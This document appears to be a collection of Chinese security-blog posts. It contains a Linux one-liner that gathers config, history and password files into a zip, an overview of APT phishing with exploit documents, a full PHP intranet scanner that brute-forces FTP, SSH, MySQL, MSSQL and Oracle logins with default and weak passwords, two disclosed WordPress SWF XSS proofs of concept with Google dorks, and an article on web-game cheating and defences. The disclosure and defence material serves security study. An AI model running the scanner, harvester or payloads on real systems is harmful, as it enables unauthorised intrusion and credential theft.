Physical Memory Forensics

Author:hip

Linux shell script for information gathering|Linux收集信息小脚本

找出所有.sh .pl .py .conf .cnf .ini .*history .*pass* (/usr/share目录里面的除外) 并且在当前目录zip打包。有些时候很多配置文件的权限配置不严,如果搜集完全的话对于进行下一步有很大帮助。

Find all .sh .pl .py .conf .cnf .ini .*history .*pass* (Except in /usr/share) then zip in current directory

find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@

More Insights On The APT

Title: More Insights On The Advanced Persistent Threat

Author: Cryin#insight-labs.org

Link: http://insight-labs.org

概述

APT 高级持续性威胁(Advanced Persistent Threat) APT攻击从收集情报开始,一直到成功窃取机密资料或者达到其攻击目的为止。这可能会持续几天、几周、几个月,甚至更长时间。自2010年Google承认遭受严重黑客攻击之后,APT高级持续性威胁便成为信息安全圈炙手可热的名词,是噱头还是真实的威胁?作为安全厂商或许需要的就是噱头。

APT本身是一个抽象的概括性的概念,并不像XSS、SQL注入、BOF、Trojan这些名词定义的比较鲜明。但对于像Google、NASA、Comodo等深受其害的公司而言APT无疑是真实的威胁,个人认为APT其本质也是平常所见的网络攻击和入侵行为。但与一般网络攻击而言其本身又有自身的特点:

·长期持续的攻击、控制、潜伏

·有组织、有计划、有目的的攻击、入侵、窃取数据

·针对特定目标、组织、企业的定向攻击

简而言之,APT攻击即是针对特定目标有组织、有计划的进行持续的定向攻击、入侵并以达到获取机密数据的目的。因为APT攻击整个过程复杂、持久,涉及技术面比较广,所以APT真正的威胁是其实施攻击的人员。

APT 高级持续性威胁攻击过程从收集情报开始,攻击者通过搜索引擎或者一些公开社工库搜集特定目标的信息加以研究并实施攻击; 通常是通过电子邮件、即时通讯、文件下载等方式(当然,黑客也可以通过攻击Web网站,控制并进一步入侵网络),向目标用户系统植入木马、后门等恶意软件,一旦攻击者控制用户系统就可以将其作为跳板进一步入侵更多计算机来搜集信息。并进行后续渗透、发掘有价值的数据所在的服务器并收集机密资料打包外传。

图: APT攻击过程

APT攻击简单概括为以下过程:

·情报搜集/制定攻击策略

·社工/攻击、突破防线

·潜伏/远程控制目标

·分析网络布局/内网渗透

·机密资料/重要数据发掘

·资料外传

攻击策略

在网络上看到关于APT攻击的文章大多是利用电子邮件作为突破口,攻击者通过发送精心构造好的OfficePDFExploit利用文档诱使用户打开并触发漏洞执行恶意代码并植入RAT等恶意软件。但个人认为APT攻击并不只是局限于此,通常攻击者有很多方法可以打开突破口,比如钓鱼、攻击Web服务器、利用IE等浏览器漏洞挂马,甚至是结合社会工程学利用即时通信软件直接给目标用户发送可执行的RAT恶意程序等。

APT高级持续性威胁目前来看更多的是利用Office、PDF等文档型漏洞,结合社会工程学通过电子邮件、即时通讯、文件下载的形式发送给目标用户,诱使其打开文档。从而植入后门程序。本文着重以电子邮件形式为主进行探讨,如下图APT攻击邮件截图:

图:APT攻击邮件

而邮件内容正是根据目标所处地最新的时政热点新闻编写,目标用户如果看过这则新闻又对此感兴趣的话就很容易信任并打开附件文档.

图:新闻内容

·关于邮件

APT攻击之前的信息搜集阶段,利用Google等搜索引擎和公开的社工库或者目标用户公开的联系方式,很容易获取到目标的电子邮件地址。为了诱使用户信任并打开附件文档。攻击者可以利用钓鱼、邮箱跨站来获取和目标用户或目标用户相关的联系人的邮箱,并利用获取到的邮箱发送攻击邮件,也可以利用相关技术伪装发信人地址诱使目标用户信任并打开邮件查看附件内容。

在邮件内容编写上,可以结合特定目标的信息进行分析发送用户感兴趣的内容,并结合社会工程学编写增加真实性。

·关于附件

在利用电子邮件进行APT攻击中,攻击者通常借助文档型漏洞制作捆绑等利用文件发送附件以达到不被用户发觉的隐藏的目的,其中利用最多的文档类型有:

·微软Office文档: Windows操作系统广泛普及,Office文档自然是APT攻击人员的首选,其中Word的漏洞(包含RTF)最多,也是APT攻击中使用最广泛的;还有Excel、PPT等,甚至借助flash的漏洞也可以构造出Word、Excel等文件的漏洞利用Exploit

·Adobe PDF文档:作为漏洞大户,Adobe PDF Reader的漏洞也为APT攻击提供了不少资源。

其它还有zip、rar、rm、swf、甚至html文件类型、chm以及rtf等文件类型,均可以利用其漏洞构造捆绑或者其它恶意文件进行APT攻击。近年来,被利用APT攻击较多的文件类型及漏洞信息(仅部分漏洞)如下:

·CVE-2010-3333:

Microsoft Word RTF文件解析栈溢出漏洞(MS10-087)

·CVE-2012-0158:

Microsoft Windows Common Controls ActiveX控件远程代码执行漏洞(MS12-027)

·CVE-2009-3129:

Microsoft Excel FEATHEADER记录内存破坏漏洞(MS09-067

·CVE-2010-0821:

Excel SxView记录解析远程代码执行漏洞(MS10-038

·CVE-2010-2883:

Adobe Reader CoolType.dllTTF字体解析栈溢出漏洞

·CVE-2010-2884:

Adobe Flash Player Unspecified Remote Code Execution Vulnerability

·CVE-2010-3654:

Adobe Flash Player authplay.dllPDF文件解析远程代码执行漏洞

 

实例分析

这里主要以利用电子邮件进行APT攻击的实例进行分析和介绍,上面说了攻击者通常借助文档型漏洞制作捆绑等Exploit进行攻击。其中漏洞比较多并且利用也比较广泛的就是WordPDF两种文件类型,对于APT攻击实例应用中两种类型并无本质区别,这里以Word文档类型实例分析。

文件型Exploit一般利用文件自身的漏洞,目标用户打开攻击者精心构造的恶意文档的同时触发漏洞,攻击者控制并接管程序执行流程,跳转至预先构造好的ShellcodeShellcode是攻击者构造好并放在文件中的恶意代码。其本身能实现几乎任何一个编程语言能实现的所有功能,但在真实的攻击中一般常见的是下载执行类Shellcode以及Bindfile Shellcode。下载执行类Shellcode的功能是在特定的URL或者FTP等链接下载恶意程序到用户系统本地并执行。Bindfile Shellcode的功能是将捆绑在文档中的恶意程序释放在本地并执行,一般也会释放一个正常的文档并打开给用户。当然还有一些DLL劫持的漏洞就不需要负载Shellcode,只需降将DLL文件一同传输并放在同个目录即可触发并执行恶意代码。比较常见的是捆绑类型,所以这里分析Bindfile类型攻击实例。捆绑型恶意文档由四部分组成,此类恶意文档一般组成结构如下图:

图:恶意文档一般组成结构

其中Malicious filee是用来触发漏洞的文件头或者文件,漏洞出发后程序执行流程交给Shellcode继续往下执行,Shellcode功能主要负责解密Bind normal fileBind malware file并将两个文件释放到用户本地系统然后分别执行malware file,之后再打开正常的捆绑normal file并展示给用户。这样用户看到的只是打开的normal file。而其它流程在内部已经悄然执行。当用户打开Word文档并且Office软件存在有的对应漏洞时,捆绑的malware file将成功执行,一般情况下此时攻击者就基本可以控制目标用户的计算机系统。

这里Shellcode的本身变化可能比较多,但大体捆绑型漏洞利用原理都基本相同,不过大多数Shellcode都会经过简单或者稍微复杂的加密处理,在漏洞触发后并跳转至Shellcode时,

未加密的部分Shellcode会对其加密部分进行动态解密常见方法有byte异或、word异或、dword异或,其中也有些对key进行递增或者递减的异或加密方法,解密时也是如此。

所以如果出现利用Office文件类型的攻击时如何分析该类恶意文档及攻击细节?根据上述对恶意文档一般组成结构,结合虚拟机中动态调试,很容易分析该类攻击,当然有些Word漏洞利用对其文档进行了加密,此类恶意文档分析稍微困难一些。一般恶意文档网上类似分析很多,这里不再赘述!可以参考fireeye的分析文章<Hackers Targeting Taiwanese Technology Firm>见参考链接。

检测思路

安全研究人员的天性是出现一个新型攻击技术时,我们会去研究它如何攻击,攻击原理,技术细节,及成功复现或者成功实验利用等,在过去几年本人也一直是如此。但如何行成有价值的产品这可能是程序员或者产品经理会想到的。前面说了APT攻击到底是噱头还是真实的威胁?作为客户期待厂商提供一个可以解决问题的产品,这是最重要的。目前国内外一般的APT防护产品已经比较成熟,比如fireeye的MPS等。

我心中的APT防护产品包括三个方面:

·安全设备

部署网络入口,基于七层协议识别、解码,并识别、提取文件,基于签名库、引擎事件及关联事件检测方法两种检测机制对已知和为止的漏洞攻击进行检测,并对高危攻击进行阻断。

·沙箱虚拟机

将可疑恶意文件引入虚拟机或沙箱,通过对沙箱的文件系统、进程、注册表、网络行为实施监控,判断流量中是否包含恶意代码。将可以文档上传云端处理分析。这里难点在于模拟的客户端类型是否全面,如果缺乏合适的运行环境,会导致流量中的恶意代码在检测环境中无法触发,造成漏报。

·云端管理

海量云集恶意文件样本资源库,专业的应急响应团队,逆向分析可疑攻击样本。攻击事件处理、分析及溯源!专业的安全意识及安全知识课程培训、指导!

上面所述完全个人想法,关于更多的下一代APT防护产品可参考Definitive Guide to Next-Generation Threat Protection!

结束语

关于APT攻击的具体分析没有在本文中展现,为在互联网上很容易找到类似的分析文章,关于CVE-2010-3333CVE-2012-0158office漏洞,附件中会给出其漏洞利用工具以供分析。

在这里只是介绍笔者这几年的个人经验和想法,肯定会有不足甚至错误之处。总之希望这篇文章能够对大家带来些许帮助,如果对这篇文章有什么疑问或建议请联系我!

参考

[1]http://www.fireeye.com/blog/technical/cyber-exploits/2010/01/pdf-obfuscation-using-getannots.html

[2]http://www.fireeye.com/resources/pdfs/fireeye-definitive-guide-next-gen-threat-protection.pdf

[3]http://cn.trendmicro.com/imperia/md/content/cn/license/tda10000-2-20120626.pdf

[4]http://blog.trendmicro.com.tw/?p=3178

[5]http://www.fireeye.com/blog/technical/malware-research/2013/02/hackers-targeting-taiwanese-technology-firm.html

[6]http://www.fireeye.com/blog/technical/targeted-attack/2012/12/to-russia-with-apt.html

 

 

PHP内网扫描小脚本+密码破解小脚本/PHP Intranet scanner+password cracker

前几天没事蛋疼的时候写的,可以扫描B段IP外加根据字典破解一些服务的密码,比如FTP,SSH,MySQL,MSSQL,Oracle之类,会自动尝试空密码和弱密码,比如ftp的匿名登录,mssql的sa空密码,oracle的默认密码之类。

扫描和破解均为单线程,多线程需要pcntl支持,因为PHP默认不带这个功能,所以没加多线程,慢点就慢吧

因为Web服务器超时的关系,所以建议每次扫50个IP比较好。


<?php

#Class B PHP port scanner by anthrax @ insight-labs.org
session_start();
set_time_limit(0);
ob_implicit_flush(True);
ob_end_flush();

function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}
function crackpwd($addr,$port,$userlist,$passlist,$type){
switch($type){

case 'ftp':
$ftp=@ftp_connect($addr,$port);
if(@ftp_login($ftp,'anonymous','safasf#asfs.com')){
echo "$addr".':'.$port.' Anonymous Login enabled'.'<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@ftp_login($ftp,$username,$pass)){
echo "FTP $addr".':'.$port.'Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
ftp_close($ftp);
break;

case 'mysql':

if(@mysql_connect($addr.':'.$port, 'root', '')){
echo 'MySQL Username: root EMPTY PASSWORD<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@mysql_connect($addr.':'.$port, $username, $pass)){
echo 'MySQL Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'mssql':
if(@mssql_connect($addr,'sa','')){
echo 'MSSQL Username: sa EMPTY PASSWORD<br/>';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@mssql_connect($addr, $username, $pass)){
echo 'MSSQL Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'oracle':
if(@oci_connect('SCOTT','TIGER',$addr)){
echo 'Oracle Username SCOTT pwd: TIGER';
}
if(@oci_connect('SYSTEM','MANAGER',$addr)){
echo 'Oracle Username SYSTEM pwd: MANAGER';
}
if(@oci_connect('DBSNMP','DBSNMP',$addr)){
echo 'Oracle Username DBSNMP pwd: DBSNMP';
}
foreach($userlist as $username){
foreach($passlist as $pass){
if(@oci_connect($username,$pass,$addr)){
echo 'Oracle Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;

case 'ssh':
$ssh=@ssh2_connect($addr,'22');
foreach($userlist as $username){
foreach($passlist as $pass){
if(@ssh2_auth_password($ssh,$username,$pass)){
echo 'SSH Username: '.$username.' pwd: '.$pass.'<br/>';
}
}
}
break;
}
}

function scanip($ip,$timeout){
$portarr=array(
'21'=>'FTP',
'22'=>'SSH',
'23'=>'Telnet',
'25'=>'SMTP',
'79'=>'Finger',
'80'=>'HTTP',
'81'=>'HTTP/Proxy',
'110'=>'POP3',
'135'=>'MS Netbios',
'139'=>'MS Netbios',
'143'=>'IMAP',
'162'=>'SNMP',
'389'=>'LDAP',
'443'=>'HTTPS',
'445'=>'MS SMB',
'873'=>'rsync',
'1080'=>'Proxy/HTTP Server',
'1433'=>'MS SQL Server',
'2433'=>'MS SQL Server Hidden',
'1521'=>'Oracle DB Server',
'1522'=>'Oracle DB Server',
'3128'=>'Squid Cache Server',
'3129'=>'Squid Cache Server',
'3306'=>'MySQL Server',
'3307'=>'MySQL Server',
'3500'=>'Squid Cache Server',
'3389'=>'MS Terminal Service',
'5800'=>'VNC Server',
'5900'=>'VNC Server',
'8080'=>'Proxy/HTTP Server',
'10000'=>'Webmin',
'11211'=>'Memcached'

);
foreach($portarr as $port=>$name){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' '.$name.' is open<br/>';
@ob_flush();
@flush();

if(isset($_SESSION['crack'])||$_SESSION['crack']==true){
switch($port){

case '21':
$type='ftp';
break;

case '22':
$type='ssh';
break;

case '1433':
$type='mssql';
break;

case '1521':
case '1522':
$type='oracle';
break;

case '3306':
case '3307':
$type='mysql';
break;

default:
$type=false;
}
if($type){
global $userarr,$passarr;
crackpwd($ip,$port,$userarr,$passarr,$type);

@ob_flush();
@flush();
}

}//if
}
}
}

if(!isset($_SESSION['startip'])){
$_SESSION['startip']='Start IP';
$_SESSION['endip']='End IP';
$_SESSION['username']='root
admin';
$_SESSION['password']='123456
root
123123
admin
qwerty';
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="'.$_SESSION['startip'].'" />
<input type="text" name="endip" value="'.$_SESSION['endip'].'" />
Timeout<input type="text" name="timeout" value="0.1" /><br/>
Auto Crack Password on MSSQL,MYSQL,Oracle,SSH,FTP
<input type="checkbox" name="crack" value="Crack password"><br/>
<textarea rows="10" cols="30" name="username">'.$_SESSION['username'].'
</textarea>
<textarea rows="10" cols="30" name="password">'.$_SESSION['password'].'
</textarea><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['timeout'])){
if(isset($_POST['crack'])){
global $userarr,$passarr;
$_SESSION['crack']=true;
$userarr=array_unique(explode("\n",str_replace("\r", "", $_POST['username'])));
$passarr=array_unique (explode("\n",str_replace("\r", "", $_POST['password'])));
$_SESSION['username']=$_POST['username'];
$_SESSION['password']=$_POST['password'];
}
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
$_SESSION['startip']=$startip;
$_SESSION['endip']=$endip;
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}else{
exit('Missing input');
}
?>

[CVE-2013-1464]WordPress Audio Player Plugin XSS in SWF

# Exploit Title: WordPress Audio Player Plugin XSS in SWF
# Release Date: 31/01/13
# Author: hip [Insight-Labs]
# Contact: [email protected] | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/audio-player.2.0.4.6.zip
# Vendor Homepage: http://wpaudioplayer.com/
# Tested on: XPsp3
# Affected version: 2.0.4.6 before
# Google Dork: inurl:/wp-content/plugins/audio-player/
# REF:CVE-2013-1464
———————————————————————————————————————–
# Introduction:
Audio Player is a highly configurable but simple mp3 player for all your audio needs.
————————————————————————————————————————-
# XSS – Proof Of Concept:

vulnerable path:
/wp-content/plugins/audio-player/assets/player.swf
vulnerabile parameter:playerID

POC:
/wp-content/plugins/audio-player/assets/player.swf?playerID=a\”))}catch(e){alert(1)}//

————————————————————————————————————————-
————
Patch:
————
– Vendor was notified on the 23/01/2013
– Vendor released version 2.0.4.6 on 30/01/2013 Fixed the bug
————————————————————————————————————————-

[CVE-2013-1463] WordPress wp-table-reloaded‏ plugin XSS in SWF‏

# Exploit Title: WordPress wp-table-reloaded‏ plugin XSS in SWF
# Release Date: 31/01/13
# Author: hip [Insight-Labs]
# Contact: [email protected] | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/wp-table-reloaded.latest-stable.zip
# Vendor Homepage: http://tobias.baethge.com/
# Tested on: XPsp3
# Afected version: 1.9.4 before
# Google Dork: inurl:/wp-content/plugins/wp-table-reloaded/
# REF:CVE-2013-1463
———————————————————————————————————————–
# Introduction:
WP-Table Reloaded enables you to create and manage tables,
without having to write HTML code, and it adds valuable functions for your visitors.
————————————————————————————————————————-
# XSS – Proof Of Concept:
vulnerable path:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf
vulnerabile parameter:id

piece of code:
flashvars = LoaderInfo(this.root.loaderInfo).parameters;
this.domId = flashvars.id;           <– vulnerable input

ExternalInterface.call(“ZeroClipboard.dispatch”, domId, “mouseOver”, null); <- vulnerable call

POC:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//

————————————————————————————————————————-
# Patch:
– Vendor was notified on the 23/01/2013
– Vendor released version 1.9.4 on 27/01/2013 Fixed the bug
– Reward 50 USD from white fir design on 30/01/2013
————————————————————————————————————————-

Protected: 渗透记录-日本某站(Linux)注入 ->提权 -> root

This post is password protected. To view it please enter your password below:

本站已于2013年1月18日获得了中国互联网最权威部门的认证

本站在2013年1月18日获得了GFW最高级别的认证,IP封锁认证。特留本帖做纪念。

 

Browser Security

去年9月份总结的东西了,花了一个多月的时间,里面的每个例子poc都亲自做过测试,总结的很详细。
Fuzzing的一些思想,一些poc是如何一步一步变化的。不管你菜鸟还是大牛,仔细看看总会有收获的。
文章篇幅较长,wp发不了,就放在单独的一个html页面了。
http://insight-labs.org/Browser%20Security.html

网页游戏攻与防

前言
—————————————————————————————————————————————————-

网页游戏的安全问题,在刚入职接触的时候,写过两篇比较浅显的文章《网页外挂防御有感》和《网页游戏常见外挂原理及防御》。算算时间,距离现在也有一年多了,虽然页游安全总体上并没有显著变化,没有新的攻击方法,也没有新的防御方法,我个人的工作重心也由页游安全转向了手游安全,但出于完美主义的偏执,还是希望写一篇覆盖完整的页游安全文章,希望能给页游产业一点帮助。

大纲
—————————————————————————————————————————————————-
一、协议安全(swf安全):自动封包 (重点)
二、自动游戏+加速
三、内存安全:内存修改
四、存档安全:存档修改
五、帐号安全/充值安全:盗号/低价充值
正文
—————————————————————————————————————————————————-
一、协议安全(swf安全):自动封包 (重点)
页游,最最核心的就是客户端(swf)与服务端的游戏通信了。游戏通信产生的封包,内容是否可识别,可篡改,可重放,处理逻辑是否有漏洞,都决定了这款游戏是否有重大的漏洞。

我们知道页游前端和后台的通信一般有两者方式,一种是http连接,一种是socket连接,前者适用于小型页游,例如内嵌在QQ平台的QQ农场,后者适用于大型页游。
不同的通信方式,产生的数据包格式也不一样,像HTTP AMF的可以使用charles来抓包查看,像sockets的可以使用WPE抓包查看。
以socket 通信为例,协议采用自定义格式,一般由两部分组成,包头与包体,包头一般是固定长度,包体为可变长度。包头一般是一些基本信息,例如包长度,版本号,命令号,用户ID,序列号等;包体就是操作命令对应的接收参数,参数个数不同,参数类型不同会导致包体长度不同。

只要摸清楚协议算法,即包是如何生成的,就可以构造数据包与服务器自由通话,这一后果是非常严重的。自由通话意味着你不需要老老实实的在客户端操作,一条数据包就能代替你一连串的操作,例如发送一条数据包完成一个任务,常用于快速升级,淘宝上的页游代练绝大多数都是采用的这种方式;自由通话更意味着你可以绕过客户端的逻辑判断,传任意参数给服务端。说到这里,你可能觉得只要服务端能正常处理来自客户端的参数,不出逻辑错误,不出配置错误,就万事大吉。这种想法很常见,例如上海宝开公司的某个开发就说过,我们的游戏逻辑判断都在服务端,我们没有外挂。我推测这个人应该不怎么上外网。

理想是丰满的,现实是骨感的,怎么能保证后台不将逻辑写错,策划运营不将配置弄错呢,特别是在高强度的通宵加班后。你可能说靠测试呀,中国页游行业,配给给游戏的测试人员是非常少的,相应的测试时间也是远远不足的,并且测试技术也非常需要提高,总的来说,在页游行业,能做完整协议测试的公司不多。但玩家,特别是从事外挂制作代练服务的打金工作室会“帮你”好好地彻底地做协议测试。他们会先反编译客户端上的SWF文件(缓存中的,内存中的)得到协议生成算法,制作成封包工具,遍历每个协议号,每个参数输入,让你的错误无从遁形。

我见过一个非常聪明的外挂制作者,在外挂中添加了脚本分享平台,号召大家共同摸索,将有问题的封包以脚本的方式上传以供大家下载,这种集思广益真的很妙,脚本的分享会给“找bug”精神奖励,将其帐号公布出来以供大家瞻仰,因此乐意分享的人很多。而且作者还很负责的有脚本审核机制,并支持快捷的查询。这是什么样的用户体验呀,这就是页游外挂界的app store
页游安全攻与防 - danqingdani - 碳基体
看到这里,你或许想,我保护好SWF文件,不让其逆向不就行了吗?有需求,就有满足需求的地方,市面上有不少给SWF提供加密服务的收费产品,例如Amayeta SWF Encrypt 和 DComSoft SWF Protector ,因为收费,没用过这些产品,不知道具体原理,但据了解,最常用SWF加密方式,就是破坏SWF标准文件头,通过向SWF的二进制文件的文件头写入无意义的数据,从而导致反编译软件无法正常解析SWF文件。下图是使用反编译器打开加密的SWF文件,会提示无法解析
页游安全攻与防 - danqingdani - 碳基体

我们可以对比一下采用这种加密方式的swf文件头内容:
(1)未加密swf文件

页游安全攻与防 - danqingdani - 碳基体

正常的SWF文件,文件头部是由一个三字节的标识符开始,为0×46、0×57、0×53(“FWS”)或者0×43、0×57、0×53(“CWS”)其中之一。“FWS”标识符说明该文件是未压缩的SWF文件,“CWS”标识符则说明该文件前8个字节之后(即文件长度字段之后)的全部数据为开源的标准ZLIB方式压缩

(2)加密后的SWF文件
页游安全攻与防 - danqingdani - 碳基体
很明显,文件头部变成了无意义的符号。
实现函数示例(参考http://blog.sina.com.cn/s/blog_731fdd2b01010u9k.html
页游安全攻与防 - danqingdani - 碳基体
有加密就有解密,加密的SWF文件需要还原,虽然反编译不了加密后的SWF文件,但可以反编译解密文件找到解密代码来还原加密SWF文件的文件头。(参考http://blog.sina.com.cn/s/blog_731fdd2b01010u9k.html
页游安全攻与防 - danqingdani - 碳基体
很明显,这种SWF加密方法没什么作用。于是大家想着如何用一种无法反编译的实现方法来隐藏加密算法,例如利用Alchemy能够编译C/C++代码为AS字节码但无法被反编译的特性来隐藏加密算法。其实我怀疑目前有工具将Alchemy还原成C了,例如ASV(actionscript view 2012)就号称是目前最强悍的SWF解密工具,网上都有该工具的团购消息了。
我不懂SWF的加密解密,但我知道有一条万能守则,任何加密在内存中都是解密状态的。当无法解密的时候,就从内存中查找导出吧,我们可以先使用SWF Memory Dumper从浏览器内存中导出解密并解压缩的SWF文件,再用传播程度都烂大街的硕思闪客反编译得到源码。这一方法对游戏协议安全来说,是非常非常非常悲剧的。如下图所示,包的组成结构,包中各个字段的生成算法都可以通过逆向解密SWF文件获得!
页游安全攻与防 - danqingdani - 碳基体
例如下图为游戏协议结构
页游安全攻与防 - danqingdani - 碳基体

例如下图就是游戏协议对应的命令号

页游安全攻与防 - danqingdani - 碳基体
例如下图为游戏配置表
页游安全攻与防 - danqingdani - 碳基体
一切的一切,都注定了要想完全解决协议安全问题,只有靠AS混淆了。目前有一些收费软件提供AS混淆,例如secureSWF 。但奇怪的是,没有多少页游公司实施AS混淆。
写到这里,或许你会幻想游戏协议算法不会被逆向得知,那不就完事大吉了吗?再次申明,现实是残忍的,即使不知道协议算法,照样可以修改游戏封包。我们可以通过耐心的反复操作来对比封包的不同,定位到修改点。一般使用WPE工具,修改包体。WPE工具的关键就是过滤器,查找到符合指定特征的封包,将特定的位置替换为修改的值。如下图所示,
页游安全攻与防 - danqingdani - 碳基体
除了封包篡改,最简单的连封包结构都不要猜测的就是封包重放作弊了,例如打怪是一条封包,只要反复重放该封包,就能轻易刷取经验值了。
好的协议设计,一定要考虑到防御封包篡改和封包重放,最简单的方法是在封包的某个字段加入一个序列号,该序列号包含包体完整性检验值,时间因素值,来区分封包是否是重放的,是否有被篡改。
有了好的协议设计,协议是否安全了呢?协议的实现方法在客户端SWF中,这一事实又讲安全问题引回到SWF被逆向的问题上,只要被成功逆向,一切努力都打水漂了。虽然防御艰难,但也不能放弃,一种方法不行,可以用多种方法。总的来说,为了协议安全,可以做如下措施(不仅仅从技术上):
1.好的协议设计,防重放与篡改 
2.SWF加密 ,注意加密算法的安全,最好AS混淆
3.耐心的做协议检测,开发在提交测试前,做协议测试;测试在完成了功能测试,性能测试后也要搞好协议测试;策划运营对配置表做认真的检查;
4.设计一套监控系统,监控游戏中的收益与消费,大量的刷取物品肯定会在数值变化中体现出来;
5.留意游戏论坛,游戏QQ群里是否有新漏洞的披露,外挂是否有更新;
6.频繁更换加密算法,与外挂制作者PK更新速度
二、自动游戏+加速
自动游戏,简单的说就是模拟鼠标或键盘对游戏UI的操作,代替你做重复的工作。最简单的自动游戏脚本可以使用按键精灵来制作,先对正常操作进行录制,然后编辑,设置热键,最后回放即可。程序实现中一般会有以下几个关键函数
(1)模拟键盘

VOID keybd_event(
BYTE bVk, // 虚拟键码
BYTE bScan, // 扫描码
DWORD dwFlags,
ULONG_PTR dwExtraInfo // 附加键状态
)

(2)模拟鼠标

VOID mouse_event(
DWORD dwFlags, // motion and click options
DWORD dx, // horizontal position or change
DWORD dy, // vertical position or change
DWORD dwData, // wheel movement
ULONG_PTR dwExtraInfo // application-defined information
)

自动游戏的作弊方式常见于对战刷怪类游戏,自动识别地图中怪物出现的位置,自动出招打怪,自动拾取掉落宝物。往往还会配合加速外挂,总的来说,就是靠达成那种不知疲倦(脚本操作)、准确度高(自动识别地图中UI特征)、快速(对页游就是加速flash的动画播放速度)的操作方式来快速升级。
自动游戏类型外挂的防御比较简单,增加人机识别的因素,类似于论坛避免批量注册,采用只有人类才能识别的验证码(题外话,不少网站的验证码其实可以机器识别),例如对于对战类游戏,记录每次对战的频率和操作时间特性,对异常的操作弹出图片验证,中断自动游戏。
实施图片验证的时候,要考虑到两个要素:
一是图片是否真正的机器难以识别,要预防简单的像素采集技术;
二是图片库是否及时更新,要预防图片库的遍历。
而加速外挂,也常见于对战类游戏。改变操作速度有两种情况。一种是使用变速齿轮之类的加速外挂加快flash动画播放速度,一种是速度值为游戏中的某个变量值,修改了对应的数值。
对于加快flash动画播放速度的加速外挂,我们可以通过对比客户端服务端时间是否同步来检测,当检测到异常的时候,可以弹出图片验证,中断加速。
页游安全攻与防 - danqingdani - 碳基体
对于速度由游戏中数值控制的,做好协议安全,使其无法改封包中对应的数值;做好SWF反逆向保护,使其无法修改源码中控制速度的逻辑。
三、内存安全:内存修改
修改游戏在内存中的数值是经典的单机游戏作弊方法,同样也适用于网页游戏,原因很简单,不可能每个来自客户端的数据,服务端都做验证。(看看页游公司开发前端和后台的比例吧!)以社交类网页游戏为例,其中会内嵌不少小游戏,这些小游戏可能是用来赚取游戏经验或货币等数值的,很显然,这种类型的小游戏基本就是主逻辑在客户端的单机游戏,只是最后将游戏分数上传给服务器,服务器再根据游戏分数的不同来下发相应数额的游戏货币。我们完全可以在积分上传前,在内存中查找并修改该数值。 如下图所示,用cheat engine去查找IE进程中游戏分数。
(cheat engine是我最喜欢的内存修改工具,手游上的内存修改工具和这个比起来简直是胎儿版的。该工具支持自定义格式的内存搜索,具备强大的反汇编功能,更妙的是可以直接生成外挂,特别赞的是竟然采用了游戏通关的方式来教授工具使用,我的博客中有第八关第九关通关方法)
页游安全攻与防 - danqingdani - 碳基体
程序实现一般会有以下几个关键函数
(1)读取进程数据ReadProcessMemory
(2) 查找,查找算法可以按数值类型、扫描类型及内存扫描方式来实现
例如数值类型有二进制,1字节,2字节,4字节(游戏最常用),8字节,浮点数,双浮点数,文本,字节数组,自定义(这个最牛);
例如扫描类型可以支持精确查找,模糊查找(比…大,比…小,两者之间),数值变化趋势(数值处于增加中,数值出于减少中,数值没有变动,与首次扫描数值相同,数值增加了某个指定值,数值减少了某个指定值);
例如内存扫描方式有自定义扫描起始与终止地址,同时扫描只读内存,深度扫描,快速扫描,扫描时暂停游戏
(3)写数据WriteProcessMemory
内存修改的防御,有以下几种建议:
(1)重要数值在内存中拆分存放,使其无法简单定位到(会使得游戏逻辑变复杂)
(2)默认可以修改,在服务端控制收益上线。(考虑到成本,为目前主流控制方法)
四、存档安全:存档修改
在flas在flash单机游戏时代,修改本地存档文件,是游戏作弊的重要方式,相信有不少人就用过Flash存档修改器。
页游安全攻与防 - danqingdani - 碳基体
